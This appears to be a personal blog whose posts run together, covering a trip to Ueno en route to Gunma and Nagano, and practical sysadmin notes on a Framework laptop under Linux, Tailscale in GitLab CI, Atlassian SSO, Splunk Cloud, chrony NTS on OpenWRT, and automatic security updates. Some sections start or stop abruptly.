1. Day 1: Haneda Airport, Ueno
2. Day 1-2: Takasaki, Maebashi (draft)
3. and so on.

After a visit to Aomori prefecture (青森県) back in 2023 which I enjoyed thoroughly, I decided to visit Japan again this year. This time I visited Gunma (群馬県) and Nagano (長野県) prefectures. According to the official Japan Tourism Statistics, Gunma and Nagano had international tourist visit rate of 0.5% and 3.0% in 2024, while Aomori was 1% in 2023.

Arriving at Tokyo Haneda Airport §

My ANA flight to Tokyo arrived at the Haneda Airport Terminal 2. Terminal 2 is exclusive to ANA international and also domestic flights, but some ANA international flights may arrive at Terminal 3. The exclusivity doesn’t necessarily make the immigration hall any less crowded though as Terminal 2’s is much smaller.

At the entrance of the immigration hall, there were 2 queues left and right for passengers with Visit Japan Web QR code. But the entrance was narrow and those queues although not that long (<20 persons each) but still felt like they almost obstruct the entrance. So the staff kept urging passengers to move ahead to the Passport Control. I had a QR so I lined up behind the check-in kiosks instead. After check-in at the QR kiosk, I queued behind Passport Control with everybody else without QR. Somehow, I ended up at a SOFA counter which was opened to everyone to speed things up a bit.

Ueno Station §

From Haneda Airport, I took Tokyo Monorail to Hamamatsuchō Station (浜松町駅) to transit to another line that would get me to Ueno Station (上野駅) to board a bullet train shinkansen. At Hamamatsuchō Station, I could take either the green Yamanote Line (山手線) or the blue Keihin–Tōhoku Line (京浜東北線). Since those lines are on the same island platform, one can simply board whichever arrives first, which was Keihin–Tōhoku Line for me.

If I was going to take a shinkansen, you might be wondering shouldn’t I get off at Tokyo Station instead? Ueno Station despite being much smaller, it still has all the shinkansen lines that Tokyo Station has, with a notable exception of the popular Tōkaidō Shinkansen (東海道新幹線). For Tōkaidō Shinkansen, you might be better off boarding from Shinagawa Station (品川駅). The size of Tokyo Station combining with the crowds can be unpleasant, especially when dragging a full-size luggage with a backpack. Do visit Tokyo Station though to admire its grant exterior, but not for rushing to the next scheduled train while lugging something along.

Once at Ueno Station, I knew exactly where I needed to go without feeling any confusion once I disembarked, this brought me some relieve despite the drizzle outside; though I did study its layout through a walking video beforehand. Even prior to arriving there, I already felt the station is much smaller than Tokyo Station when I noticed plenty of empty seats after Akihabara Station (秋葉原駅).

Once at Ueno Station, I had about 2 hours before my next scheduled train, so I wander around the area a bit to kill time. Before I do that, I stored my luggage in a locker just outside of the Shinkansen ticket gate. On the way, I stopped by a Fuji Soba (名代 富士そば) shop to have breakfast. Its ticket vending machine accepts Suica which I appreciate, and the food was served faster than McDonald’s. When walking on the pedestrian bridge where in addition to crossing the road to get to Ameyoko (アメ横) side, you could take a good view of the iconic front exterior Ueno Station, I noticed an uncovered smoking area for commuters. It was drizzling at that time, so it must be a slight annoyance for those smokers; perhaps it was purposely arranged that way which is even better, instead of carving a space out in the station.

Withdrawing cash §

Before going to a 7-Eleven chain, I stopped by a NewDays convenience store in the Ueno Station to try to withdraw some cash and found a Mizuho Bank ATM at a corner. Even though the ATM had “International ATM” sign with Visa logo, it immediately spit out my card as soon as I insert. After it did that twice, I went straight to 7-Eleven instead. At 7-Eleven, I withdrew 100,000 yen and was charged 220 yen fee for my Visa card, apparently it’s free to Mastercard. I also managed to withdraw cash from Aeon Bank ATM which can be found in Ministop convenience stores, there is no fee but the maximum withdrawal per transaction was 50,000 yen. Anyway, I withdrew this much cash because most of the ryokan (旅館) that I stayed were cash only.

Card payment §

Visa Paywave is now much more common compared to 2023.

Shinkansen e-ticket §

After a significant price hike of rail passes (that are exclusive to foreign visitors) from 1 Oct 2023, they are now hardly worth considering whereas it was kinda no-brainer for my previous travel. So, this time I purchased Shinkansen e-ticket. E-ticket is linked to public transport card (e.g. Suica, Welcome/Sakura Suica, PASMO, etc) which I still keep from my previous travel, so I didn’t have to pick up a physical ticket; just tap and off I go. E-ticket needs to be linked at least 4 minutes prior to departure which is plenty of time. Arrive at least 30 minutes at the station prior to departure, get a card from a machine outside of ticket gate, register the card at eki-net.com, get an ekiben (駅弁) then board the bullet train. Ticket can be only purchased at most 30 days prior to scheduled train. Note that Suica card (different from Welcome Suica) is valid for 10 years from last tap, so you might as keep it if you feel like travelling to Japan in near future.

Ueno §

After getting out of the Ueno Station and cash-loaded, I briefly stopped at the Ameyoko (アメ横) entrance. It was weekday 9am at that time with most shops yet to open, so the street was quiet. Then, I walked to Ueno no Mori Sakura Terrace 上野の森さくらテラス that had a nice lookout on the top floor. Once there, I couldn’t get to the top floor because the building is not yet open. I later discovered the top floor is accessible from the park which I’ll mention later.

I walked past Inchiran (一蘭) a popular ramen chain at the opposite side. From several videos that I watched, this chain just outside of the Ueno Station can get pretty busy. But I didn’t see any queue around 9am, probably it was only busy during meal times or weekend. It was a bit tempting but I already had my fill from my soba noodle breakfast.

I visited Bentendo Temple (辨天堂). As I was entering the temple, I saw a meat skewer stall which wasn’t open when I was there. I find this to be wild given the proximity. I briefly walked around the Shinobazu Pond before heading to Kiyomizu Kannon-dō Temple (清水観音堂). As I walked past chōzuya (手水舎) of Bentendo Temple, I noticed a tourist rinsed his hand using a scoop hishaku (柄杓), but on top of the basin chōzubachi (手水鉢) which looked a bit off to me as that was equivalent as dipping your hand into the basin. Some japanese also did this. Perhaps the etiquette of using a scoop away from the basin is not strictly adhered to? Next time I think I’ll fill up the scoop from the dragon-head-shaped tap instead of scooping up from the basin.

At the entrance of Kiyomizu Kannon-dō Temple, I saw a pair of tourists having a puzzling look at the chōzubachi. Although there was a written guide, I gave them a live demo of chōzu which I learned from this woman; also check out how she performs ceremonial clapping kashiwade (柏手) later in the video, which is only applicable to Shinto shrine not Buddhist temple. I skipped the mouth rinsing part though as I wasn’t comfortable with doing it with unwashed hand, people wearing face mask (common in Japan) also skip it. Anyway, I then check out the pine tree that the temple is known for, which has been shaped to a circle called tsuki no matsu (月の松).

As the train schedule was getting closer, I started to walk back to the Ueno Station. Near the Statue of Saigō (西郷像) there was a lift to the ground level but it wasn’t working due to operating hours of Sakura Terrace. At least that was the lookout that I was looking for, with a view of train traffic of the Ueno Station.

In the Ueno Station, I went to pick up my luggage from the locker, went through the shinkansen ticket gate. While my partner was looking for ekiben, I looked for drink instead. We arrived at least 30 minutes at the station to give her plenty of time to browse, but turned out she didn’t need that as there wasn’t much choices. Probably a good thing that she didn’t have to stress about choices, unlike the Tokyo Station which had too many options. I had a quick look for drinks and Shinshū buckwheat tea (信州そば茶) caught my eye due to relevance to Nagano in this trip; Shinshū is a former name of Nagano prefecture.

That’s it for now for this post, my next post will be about my travel to Takasaki and Maebashi cities in Gunma; yes, I will finally start to talk about Gunma as titled.

I recently bought a new Framework Laptop 13 to replace my Lenovo Thinkpad T14 G1. I cloned my existing SSD to the new one using pv /dev/nvme0n1 -o /dev/sdb on a Live USB. pv is nicer to use than dd as it shows progress by default (dd does offer it through status=progress parameter) and I didn’t have to mess around with bs= (block size) parameter. I didn’t have to resize/enlarge the partition because both SSDs are the same size.

GRUB error “no such cryptodisk found” §

The first boot didn’t went well as I encountered this GRUB error “no such cryptodisk found”. Since I cloned the SSD which retained the UUID, it shouldn’t due to mistyped UUID in the GRUB config.

I then booted a Live USB, mount the SSD, chroot into it and reinstall GRUB. After reboot, I was greeted with the usual password prompt on GRUB and I could login to XFCE just fine.

No Wifi §

After login, I noticed there was no internet connection, the network applet showed no device found. I checked the installed firmware pacman -Qs linux-firmware and found linux-firmware-mediatek was missing. So I grabbed one from a mirror, installed it pacman -U linux-firmware-mediatek*, reboot and Wifi is now functional.

XFCE randomly freeze except mouse §

I experienced XFCE random freeze/hang/unresponsive at least daily. When it happened, the whole screen just froze except for the mouse, mouse icon didn’t change when I hover over text.

Initially I tried amdgpu.dcdebugmask=0x10 kernel parameter but that didn’t work for me on Linux 6.12.61 and 6.17.11.

Then, I tried removing xf86-video-amdgpu as suggested here, along with other “xf86-video-*” packages. That worked well, but the screen still flickers 3-4 times immediately after login, probably due to launch of xiccd and redshift.

Failed to suspend §

One night I put the laptop in suspend mode without checking the power indicator (which should be flashing slowly during sleep) then went to sleep, only to discover the next day that power indicator was off. I switched it on while charging and noticed the batter was only 2%.

I checked the logs from the last boot journalctl -b -1 and found the culprit.

kernel: mt7925e 0000:c0:00.0: PM: pci_pm_suspend(): mt7925_pci_suspend [mt7925e] returns -110kernel: mt7925e 0000:c0:00.0: PM: dpm_run_callback(): pci_pm_suspend returns -110kernel: mt7925e 0000:c0:00.0: PM: failed to suspend async: error -110

mt7925e refers to the Mediatek Wifi device. A web search on the suspend issue related to the device led to this thread. Initially I installed the workaround but reverted after noticing it may have been fixed in Linux 6.15.

Since Linux 6.15 was already EOL at that time, I installed Linux 6.17 instead. The laptop now suspends properly with breathing power indicator.

“Authentication is required for suspending the system” after wake §

I had had “Authentication is required for suspending the system” prompt after wake even in my previous laptop, even though either laptop could suspend just fine. I previously modified “/usr/share/polkit-1/actions/org.freedesktop.login1.policy” file to allow any user to suspend: <allow_any>yes</allow_any> under <action id="org.freedesktop.login1.suspend">. But the change does not persist across updates.

While looking through the logs, I noticed these lines:

polkitd: Operator of unix-session:2 FAILED to authenticate to gain authorization for action org.freedesktop.login1.suspend for system-bus-name::1.48 [xfce4-power-manager] (owned by unix-user:username)polkitd: Operator of unix-session:2 FAILED to authenticate to gain authorization for action org.xfce.power.xfce4-pm-helper for unix-process:2196:3423 [xfce4-power-manager] (owned by unix-user:username)

This time another web search led me to this thread and then this post which suggested to put custom policy in the proper place “/etc/polkit-1/rules.d/“.

/etc/polkit-1/rules.d/85-suspend.rules
polkit.addRule(function(action, subject) {    if ((action.id == "org.freedesktop.login1.suspend" ||         action.id == "org.xfce.power.xfce4-pm-helper") &&        subject.user == "username") {        return polkit.Result.YES;    }});

Skip to configuration.

Background §

Previously, I used cloudflared-powered SSH certificate to access my servers. Since SSH connection is proxied through a cloudflared tunnel–which is created by initiating outbound connection only–I could have restricted the SSH port to localhost only without having to open inbound port. It worked for my workstation–I could initiate SSH through cloudflared which opens a browser and I authenticate on Cloudflare Access through OTP.

But obviously that wouldn’t work for automated deployment–building by my blog in GitLab CI then deploys to my web servers automatically. Cloudflare Access supports authenticating through service tokens, but cloudflared apparently could not grab SSH certificate through this way. Reading through the documentation, I don’t see any mention of which username to associate with, so Cloudflare Access could not identify which identity to issue an SSH certificate to.

For CI/CD pipeline use case, Cloudflare instead recommends to use WARP connector which creates a Site-to-Site VPN tunnel between networks: a source network which hosts a build server that runs the pipelines connecting to a destination network which hosts the web servers. The connector agent acts as a subnet router and can either runs on a router, server or directly in each server. However, I run my pipelines on public shared runners which are serverless to me as I don’t manage the underlying servers. This rules out a long-running tunnel, so the only method left is to run the WARP client in the CI/CD pipeline, specifically the deployment job. However, WARP client is not meant to run on ephemeral container. It could, but imagine cleaning up all the stale clients in the Zero Trust portal.

Tailscale §

Reading through comments on SSH through Cloudflare Access, some mentioned they have moved on to Tailscale instead. When I search the web for “tailscale gitlab”, the first result is this official guide by Tailscale. The guide notably mentions the concept of ephemeral nodes, a Tailscale device registered with this mode will be automatically removed from the device list after it has gone offline.

The guide is brief, too brief in fact. The guide mentions creating an auth key which only lasts up to 90 days; perhaps it’s a good security practice, but I find having to update GitLab secret every quarter to be unappealing. Instead, an OAuth client should be used because it has no expiry, which is also the recommended and only option when running in Github Action. Even the auth key documentation also suggest to use OAuth client to create auth key, instead of creating it directly. I also faced difficulty running the tailscaled daemon on node:alpine which I later figured out.

Tailscale ACL §

The first thing to do after I signed up for Tailscale is to replace the allow-all-by-default ACL with the following ACL, which allows port 22 from owner’s devices (my workstation) and GitLab Runner to my web servers. The ACL is also used to create tags–a tag must exist in the ACL first before you can assign it to a device.

{  "tagOwners": {    "tag:server1": ["autogroup:owner"],    "tag:server2": ["autogroup:owner"],    "tag:ci":      ["autogroup:owner"],  },  "acls": [    {      "action": "accept",      "src":    ["autogroup:owner", "tag:ci"],      "dst":    ["tag:server1:22", "tag:server2:22"],      "proto":  "tcp",    },  ],  // Owner must have SSH access  "tests": [    {      "src":    "owner@example.com",      "accept": ["tag:server1:22", "tag:server2:22"],      "proto":  "tcp",    },  ],}

NixOS §

I added my web servers under the Machines tab and tagged them with server1 and server2 respectively. I saved the (non-ephemeral and non-reusable) auth key to a file “/run/secrets/tailscale_key” in my servers and chmod it to 600. Each server has a unique auth key. Add the following lines and sudo nixos-rebuild switch. The servers should then show up and I manually approved them because I have device approval enabled.

/etc/nixos/configuration.nix
services.tailscale = {  enable = true;  authKeyFile = "/run/secrets/tailscale_key";  extraDaemonFlags = [ "--no-logs-no-support" ];};

OAuth client §

In Tailscale admin console, navigate to Settings → OAuth clients. Generate a new client with read+write permission to “Auth Keys”.

Create a new GitLab CI/CD variable:

• Check “masked and hidden” and “protect variable”.
• Uncheck “expand variable”.
• Name the key TS_OAUTH_SECRET and paste the secret under value.

Alpine container §

Skip to the actual commands: GitLab CI

Tailscale provides an official Alpine-based container image tailscale/tailscale:stable which is probably the easiest way to run it in container. I don’t use it because the Alpine package repository only has LTS version of Nodejs, not the latest release as available at the node:alpine image. Instead of using tailscale image as a base, I prefer to use the larger Nodejs as a base and install tailscale on top of it.

It took me a few attempts to run Tailscale in the node:alpine image as I was unfamiliar with the behaviour of init/OpenRC in an Alpine container. These are my attempts in order:

1. tailscale up failed because tailscaled is not running.
2. rc-service tailscale start failed because “openrc” is not installed.
3. It still failed with openrc.
4. Found this workaround which worked but I wasn’t sure why.
5. Then I found this StackOverflow question. One of the answers mentioned a container doesn’t really boot, which explains why the container doesn’t install nor run openrc by default.
6. Instead of starting a service (which executes tailscaled), I could just run tailscaled in the background instead.
7. I follow the tailscaled’s environment variables and default arguments of its alpine package, including the $PATH override. I only changed the --state from “/var/lib/tailscale/tailscaled.state” to “mem:” since it will be a ephemeral node.

GitLab CI §

.gitlab-ci.yml
before_script:   - apk update && apk add tailscale   - export PATH="/usr/libexec/tailscale:$PATH"   - export TS_DEBUG_FIREWALL_MODE=nftables   - tailscaled --socket=/run/tailscale/tailscaled.sock --state="mem:" --port=41641 --no-logs-no-support >/dev/null 2>&1 &   - tailscale up --auth-key="${TS_OAUTH_SECRET}?ephemeral=true&preauthorized=true" --advertise-tags=tag:ci --hostname="gitlab-$(cat /etc/hostname)" --accept-routes

Additional reading §

GitOps for Tailscale ACLs with GitLab CI

Third-party login is not SSO §

Before I jump into integration method, it is essential to distinct an enterprise account (as an SSO identity provider) and an Atlassian account. It is possible to sign up/in to Atlassian account without entering Atlassian password by going through an existing OAuth-powered third-party account such as Microsoft account. This can easily lead to a misconception thinking that this is SSO because OAuth is often associated with SSO.

If I have an Entra ID account which means I also have a Microsoft account, I can head to id.atlassian.com, hit “Continue with Microsoft”, enter my Microsoft account’s credential (which is also my Entra ID’s), then enter email confirmation code, and I will get an Atlassian account without ever creating an Atlassian password.

Adding to the confusion is the fact that the previous process will also create an enterprise application called “Atlassian” in Entra ID to provide OAuth identity, the same place to configure SAML by creating another enterprise application.

In Atlassian environment, OAuth is not SSO as it only involves authorisation not authentication — user authorises Atlassian to use their email address. Whether I sign up/in using Atlassian password or OAuth, I will get the same Atlassian account because my email address is the same. This means if I sign up using OAuth, I can later create an Atlassian password through password reset email; conversely, I could also create an Atlassian password then login using OAuth.

Once SAML — the true SSO in this case — is configured, user will not be able to sign up an Atlassian account using enterprise email because the email address or domain would have already been claimed by the organisation that administers the enterprise account. Entering enterprise email address in id.atlassian.com would redirect users to SAML logon URL instead of OAuth’s. Atlassian organisation admin can claim all users or a subset.

As a rule of thumb, if the logon process redirects user to id.atlassian.com, it is not SSO.

Integration method §

The main difference between organisation-wide and Jira portal-only customer SSO is that the former requires domain verification on the domain of the organisation’s email address, which is also the tenancy domain of identity provider (IdP). Organisation just need to publish a TXT record “atlassian-domain-verification=xxx” on their domain to prove ownership. However, what if the organisation does not own that domain? Imagine a conglomerate with a centralised identity where all subsidiaries use the same email domain (@example.com) and each subsidiary is given a subdomain instead (sub.example.com).

In the conglomerate example, the central IT who administers the IdP tenancy would need to dedicate a resource to manage an Atlassian organisation, as in an enterprise subscription. This may not always be possible in situations such as low uptake of Atlassian product among subsidiaries, hence the central IT is reluctant to sponsor that resource. Even with multi-org SSO, where multiple organisations can share the same domain, the central IT may not be comfortable delegating claiming of users to subsidiaries, especially in a low uptake situation.

In that situation, an alternative is to configure portal-only customer SSO instead, applicable only to Jira. Portal-only customer SSO does not require domain verification, in fact domain ownership is not even relevant at all. Portal-only customer SSO mainly caters to IT vendors to enable their clients to raise support ticket using existing identity. An IT vendor’s Jira portal is configured to accept identities provided and signed by client organisation’s IdP. Then, Identifier and Reply URLs of the support portal are added to the client’s IdP. Once configured, users of client organisation can then access the IT vendor’s support portal through SSO.

A notable caveat of portal-only customer SSO is that only applies to customers. If organisation-wide SSO is not configured, service desk would logon using an Atlassian account to respond to tickets. When an agent access a portal (xxx.atlassian.net/servicedesk/customer/portals) and enter their email, the logon button is shown as “Continue with Atlassian account”, instead of “Continue with single sign-on”.

How does a Jira portal detect whether an email should login with Atlassian account or SSO? It checks whether that email exists as a user in the Atlassian organisation of a portal who is also known as an agent — paid user that counts toward Atlassian subscription. If an email exists as a user under the Directory tab of Atlassian Administration (admin.atlassian.com) — regardless whether that user is an organisation/Jira admin or not — then “Continue with Atlassian account” will always appear. For “Continue with single sign-on” to appear, that email can only exists as a Jira portal-only customer, not an agent. The email does not even need to exist as a customer (portal-only account) if it has not been used to logon to that portal. User (or rather, customer) management will be mainly handled by the IdP under the enterprise application configuration. Jira admin can then choose whether to automatically or manually approve customer access.

What if organisation-wide SSO is configured? How does Jira portal logon look like if a customer is part of the same organisation? I’m not sure. I’d imagine “Continue with Atlassian account” will be shown and then redirect to SAML logon URL.

Atlassian Guard §

Both organisation-wide and Jira portal-only customer SSO require Atlassian Guard, but portal-only customer accounts do not count toward Jira and Atlassian Guard subscriptions.

Domain verification §

Enterprise subscription requires domain verification even when organisation-wide SSO is not used. If a subsidiary or business unit does not have access to the central identity’s domain (@example.com), it can verify its own (sub)domain instead (sub.example.com). Multi-org domain is also an option.

Adherence to GitOps requires strict discipline, once you gone down this path, Splunk Web should not be used to change settings unless necessary, instead changes should be be made either through editing configuration files directly or app update. This is especially important in Splunk Cloud, once an app-level configuration is modified through Splunk Web, it will be saved to local folder of the app. Once that happened, the configuration file can no longer be updated through app update because uploading an app with local folder will not pass the cloud vetting.

This does not mean Splunk Web cannot be used at all to change settings. In Splunk Cloud, system/global-level (compared to to app-level) settings can only be modified through Web due to lack of direct file access (i.e. you can’t ssh into the instance to edit files in $SPLUNK_HOME/etc/system/local/). Some system-level settings include SSO (authentication.conf) and role capabilities (authorize.conf.)

• Y: Replace
• N: Retain
• ¹Assuming “Upgrade app” is checked.

Lookup table files §

In Splunk Cloud, installing a newer app version with updated CSVs will not replace the content of existing ones. This does not sound intuitive, to replace them, you have to delete the relevant CSV in Splunk Web (Settings → Lookups → Table files → Delete). If an app package includes lookup files (under lookups), deleting them through the settings will not actually delete, but rather restore them to the packaged version. To actually delete them, you have to delete them from the app package, install that package, then delete again in the lookups setting.

In Splunk Enterprise, any change to the lookups of the app package will always replace the installed version during app update, including content change and lookup deletion.

Dashboards §

In Splunk Cloud, even if a dashboard was never modified through Splunk Web, installing a newer app version does not replace existing ones, as if the dashboard XML in the default is automatically copied to the local folder upon installation. Since there is no way to delete the dashboards (in order to restore them to the original default), the only way I can think of is through app reinstallation (uninstall then install). Since reinstallation is rather drastic as it results in temporary lost of alerts and lookups depended by them, I create separate apps that only have dashboards, then another set of apps for everything else.

Back to OpenWRT, first SSH into the device.

Disable sysntpd so that there is only one NTP client.

service sysntpd stopservice sysntpd disable

Install chrony-nts package, chrony package does not support NTS.

opkg updateopkg install chrony-nts

Disable NTP in chrony.

uci set chrony.@pool[0].disabled='1'uci set chrony.@dhcp_ntp_server[0].disabled='1'

Add NTS servers, preferably at least two and they are geographically close.

uci set chrony.cloudflare='server'uci set chrony.cloudflare.hostname='time.cloudflare.com'uci set chrony.cloudflare.iburst='yes'uci set chrony.cloudflare.nts='yes'uci set chrony.netnod='server'uci set chrony.netnod.hostname='nts.netnod.se'uci set chrony.netnod.iburst='yes'uci set chrony.netnod.nts='yes'

Use NTS only.

/etc/chrony.d/20-nts.conf
# Require at least 2 reachable sourcesminsources 2# Use NTS sources onlyauthselectmode require# Disable chronyc remote accesscmdport 0

The actual config is actually in “/var/etc/chrony.d/“, but the “/var” folder is not persistent across reboot.
So, a workaround is to save it into “/etc/chrony.d/“, then copy to “/var” after boot.

Append these lines to “/etc/rc.local” before exit 0.

/etc/rc.local
sleep 60mkdir -p "/var/etc/chrony.d/"cp "/etc/chrony.d/20-nts.conf" "/var/etc/chrony.d/20-nts.conf"service chronyd restart

Preserve the config during upgrade.

echo "/etc/chrony.d/" >> /etc/sysupgrade.conf

Commit the changes and restart the daemon.

uci commit chronyservice chronyd restart

Verify the config.

cat /etc/config/chronyconfig pool  option hostname '2.openwrt.pool.ntp.org'  option maxpoll '12'  option iburst 'yes'  option disabled 'yes'config dhcp_ntp_server  option iburst 'yes'  option disabled 'yes'config server cloudflare  option hostname 'time.cloudflare.com'  option iburst 'yes'  option nts 'yes'config server netnod  option hostname 'nts.netnod.se'  option iburst 'yes'  option nts 'yes'config allow  option interface 'lan'config makestep  option threshold '1.0'  option limit '3'config nts  option rtccheck 'yes'  option systemcerts 'yes'

cat /var/etc/chrony.d/10-uci.confserver time.cloudflare.com iburst ntsserver nts.netnod.se iburst ntsallow 192.168.1.1/24makestep 1.0 3nocerttimecheck 1

chronyc sourcesMS Name/IP address         Stratum Poll Reach LastRx Last sample===============================================================================^* time.cloudflare.com           3   6    17    13  -1188us[-1395us] +/-   11ms^- nts.netnod.se                 2   6    17    13   +229us[  +22us] +/-   85ms

Lastly, highly recommend to hardcode the IP address of the chosen NTP servers into “/etc/hosts”, especially when using DNSSEC-validating DNS client, to avoid unresolvable NTS domains when the time is not correct.

/etc/dnf/automatic.conf
[commands]upgrade_type = security

Background §

I discovered this limitation when attempting to patch openssh against CVE-2024-6387 (regreSSHion). Here’s a brief timeline of patch availability on CentOS Stream 9:

• 1 Jul 2024: CVE-2024-6387 made public
• 3 Jul 2024: Patch available for RHEL 9 through openssh-8.7p1-38.el9_4.1.
• 4 Jul 2024: CentOS Stream 9 merged the patch
• 8 Jul 2024: Patch available through openssh-8.7p1-42.el9

While waiting for the patch availability, I enabled dnf-automatic and configured it to apply security updates only. When the patch openssh-8.7p1-42.el9 was finally available, I checked whether it has been applied using dnf info openssh. It showed the installed version is still 8.7p1-41 and 8.7p1-42 is available. That did not look good. Did I forgot to enable dnf-automatic? systemctl status dnf-automatic.timer showed it is enabled. Did it trigger dnf-automatic.service?

journalctl -r -u dnf-automatic.service
Jul 9 06:15:03 localhost dnf-automatic[12345]: No security updates needed, but 3 updates available

Not only dnf-automatic did not install 8.7p1-42, it also did not see the version as a security update. Before I went on to search for answer, I applied the patch first dnf upgrade openssh.

updateinfo.xml §

RedHat documentation mentions installed security updates can be listed through dnf updateinfo list security --installed, however it returned empty on CentOS Stream 9. To check if the command actually works, I ran it on an AlmaLinux box and it returned similar output as the RedHat documentation.

I then learned that dnf depends on errata to be able to detect whether a package version is a security update. From this post (archived), I discovered errata is published on the repository in the form of updateinfo.xml, which is related to dnf updateinfo.

When dnf is refreshing metadata, the first thing it looks for is /repodata/repomd.xml. So, I tried to look for updateinfo.xml in /repodata/ but could not find it. This explained the empty output of dnf updateinfo. Then, I searched for it in AlmaLinux and found {sha256sum-hash}-updateinfo.xml.gz. Since the content is updated constantly, how does dnf know which updateinfo.xml to grab? I opened up the repomd.xml and noticed

<data type="updateinfo">  <location href="repodata/{sha256sum-hash}-updateinfo.xml.gz"/></data>

I also searched and discovered updateinfo is also available on Rocky Linux, Oracle Linux and Fedora. Looking at Fedora’s repomd.xml, I learned that the updateinfo.xml can be available in gzip, xzip and zchunk (updateinfo_zck) formats. Without updateinfo.xml, CentOS Stream could not discern between security and bugfix/feature updates.

CentOS used to have updateinfo prior to CentOS 7; after it was removed in CentOS 7, there was a third-party repository that filled the gap but it never supported CentOS Stream.

Enable automatic updates §

Automatic updates only works in CentOS Stream with this config which installs all available updates, regardless of security/bugfix/feature:

/etc/dnf/automatic.conf
[commands]upgrade_type = defaultapply_updates = yes

Automatic security-only updates are available on RHEL, AlmaLinux, Rocky Linux, Oracle Linux and Fedora. Fedora’s updateinfo does not include a CVE reference (e.g. <reference href="https://access.redhat.com/security/cve/CVE-2024-6387" id="CVE-2024-6387" type="cve" title="CVE-2024-6387"/>), thus unable to filter by CVE ID (dnf updateinfo list --cve CVE-2024-6387 --installed).

Unattended upgrades in Debian/Ubuntu §

Automatic updates is provided by the unattended-upgrades package which is installed by default, but not enabled. It can be configured through “/etc/apt/apt.conf.d/50unattended-upgrades”.

/etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {  "${distro_id}:${distro_codename}";  "${distro_id}:${distro_codename}-security";};

Each allowed origin refers to a distribution/component; in Ubuntu 24.04, those two lines refer to 24.04:noble and 24.04:noble-security. The default config effectively applies security updates only, though it is not obvious at first. noble is the base repository of Ubuntu 24.04 once it reached general availability. Security updates are available in noble-security while bugfix updates are available in noble-updates instead.

In Debian, the config is different.

/etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {  "origin=Debian,codename=${distro_codename},label=Debian";  "origin=Debian,codename=${distro_codename},label=Debian-Security";};

Security updates are published to a different uri debian-security instead of the primary uri debian. A notable implication is that not every Debian mirror mirrors debian-security.

To enable unattended upgrades, dpkg-reconfigure --priority=low unattended-upgrades then select yes. Or in a script with:

echo "unattended-upgrades unattended-upgrades/enable_auto_updates boolean true" | debconf-set-selectionsdpkg-reconfigure -f noninteractive unattended-upgrades

To verify, “/etc/apt/apt.conf.d/20auto-upgrades” should have

APT::Periodic::Update-Package-Lists "1";APT::Periodic::Unattended-Upgrade "1";

[]access = read : [ roleA ], write : [ ][lookups/lookupB.csv]access = read : [ roleA, roleB ], write : [ ]

Or like this:

[]access = read : [ roleA ], write : [ ][lookups]access = read : [ roleA, roleB ], write : [ ]

None of the above configs will grant roleB read access to lookupB.csv. For the rest of this discussion, we assume that roleB should have access to lookupB.csv only.

# Interaction of ACLs across app-level, category level, and specific object configuration:- To access/use an object, users must have read access to:  - the app containing the object  - the generic category within the app (for example, [views])  - the object itself- If any layer does not permit read access, the object will not be accessible.

For brevity, this article will only discuss about read access which has slightly different interaction of ACLs compared to write access. Don’t worry, once you understood read access, it’s much easier to understand write access.

Notice a role must at least have read access to the app. The simplest way to grant roleB read access is,

[]access = read : [ roleA, roleB ], write : [ ]

While the above config is effective, but it does not meet the access requirement: roleB is granted read access to every objects in that app.

roleB can be restricted as such:

[]access = read : [ roleA, roleB ], write : [ ][lookups/lookupA.csv]access = read : [ roleA ], write : [ ][lookups/lookupB.csv]access = read : [ roleA, roleB ], write : [ ][lookups/lookupC.csv]access = read : [ roleA ], write : [ ]

It is effective and meets the requirement, but there is an issue. Every new lookup/object will now need to specify access = read : [ roleA ], write : [ ] to restrict roleB’s access. This is similar to a default-allow firewall.

Default-deny ACL §

How to implement default-deny ACL? We can achieve it by separating into two apps: appA is accessible to roleA only, appB is accessible to roleA and roleB. Any object we want to share with roleA and roleB, we put it in appB instead.

appA
[]access = read : [ roleA ], write : [ ]

appB
[]access = read : [ roleA, roleB ], write : [ ]

In this approach, every new objects created in appA will not be accessible to roleB because it does not have app access.

Non-removable lookup file §

I noticed lookup files that have object-level ACL, e.g.

[lookups/lookupC.csv]access = read : [ roleA ], write : [ ]

makes it non-removable, even with admin/sc-admin role.

My theory is that the object is non-removable to prevent the ACL from being orphaned. But this theory does not hold, at least for a lookup file that is shipped with an app; deleting a lookup file merely resets its content back to the app’s version. Deleting a lookup file is necessary during an app update that also have updated content of a bundled lookup file. Even when a lookup was never modified, Splunk will keep the content during an app update. Updating an app does not automatically update the bundled lookup, the lookup will only be updated after a delete operation.

Similar limitation (i.e. app update does not update the app’s object) also applies to dashboards. However, there is no way to delete a dashboard xml in Splunk Cloud, so updating a dashboard through app update always require app uninstallation beforehand.

Despite being mentioned in the documentations, in that Windows Server doc, there is a note that says those flags have been moved to “msDS-User-Account-Control-Computed“ attribute since Windows Server 2003. But when I queried that attribute, I got a decimal value which meant the parsing function was not applied.

To apply flag-parsing function on “msDS-User-Account-Control-Computed”:

SA-ldapsearch/bin/packages/app/formatting_extensions.py
'1.2.840.113556.1.4.8':             format_user_flag_enum,         # User-Account-Control'1.2.840.113556.1.4.1460':          format_user_flag_enum,         # ms-DS-User-Account-Control-Computed

First line is an existing one, the second line is the new one.

For the sake of completeness, that function can also be patched to parse other flags of “msDS-User-Account-Control-Computed”. I created a script to apply the following patch directly on “splunk-supporting-add-on-for-active-directory_*.tgz“ and save it to a new app package “SA-ldapsearch_*.tgz”.

